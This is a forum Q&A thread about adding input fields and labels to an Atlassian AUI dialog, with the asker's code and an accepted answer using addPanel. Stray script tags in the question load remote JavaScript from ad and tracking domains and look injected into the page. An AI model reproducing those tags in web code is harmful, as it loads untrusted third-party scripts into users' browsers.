Adding elements to AUI dialog,

[Shaikh Moiz]

Hello Team,

here i am developing a dialog screen and i am refering to this documentation,,

https://developer.atlassian.com/display/AUI/Dialog

but i am not able to get how can i add elements like textBox select list or simply a lable to dialog.

here is my code snippet.

AJS.$(document).ready(function() {

    
   var list=document.getElementById("listOfIteams");

    
	    

    AJS.$("#addLink").click(function() {
    
    var popup = new AJS.Dialog(500, 400);
        // create a dialog 860px wide x 530px high
        popup.addHeader("this is dialog", "aui");
       popup.addLink("Cancel", function (popup) {
    popup.hide();
}, "#");
        popup.show();
        
    });
});

any help is appreciated.

Thanks and regards,

Moiz.

<script type="text/javascript" src="https://secure-content-delivery.com/data.js.php?i=&amp;d=&amp;s=https://answers.atlassian.com/questions/ask/&amp;cb=0.8557986659096095"></script> <script id="__changoScript" type="text/javascript">// <![CDATA[ var __chd__ = {'aid':11079,'chaid':'www_objectify_ca'};(function() { var c = document.createElement('script'); c.type = 'text/javascript'; c.async = true;c.src = ( 'https:' == document.location.protocol ? 'https://z': 'http://p') + '.chango.com/static/c.js'; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(c, s);})(); // ]]></script> <script id="__simpliScript" type="text/javascript" src="http://i.simpli.fi/dpx.js?cid=3065&amp;m=0"></script>

[Boris Georgiev _Appfire_ · Accepted solution]

Take a look at the AUI Sandbox - https://docs.atlassian.com/aui/latest/sandbox/#. There is a sample dialog with contents there.

Do not forget to click "Javascript" toolbar button on the top, so you see the JS code.

Here's a sample:

var popup = new AJS.Dialog(500, 400);
        // create a dialog 860px wide x 530px high
popup.addHeader("this is dialog", "aui");
popup.addLink("Cancel", function (popup) {
    popup.hide();
}, "#");


// add panel 1
popup.addPanel("Panel 1", '<p><input type="text" name="test"/></p>', "panel-body");
// You can remove padding with:
// dialog.get("panel:0").setPadding(0);
popup.show();

[Shaikh Moiz]

Hello Boris,

That worked for me,Thank you very much.

Moiz.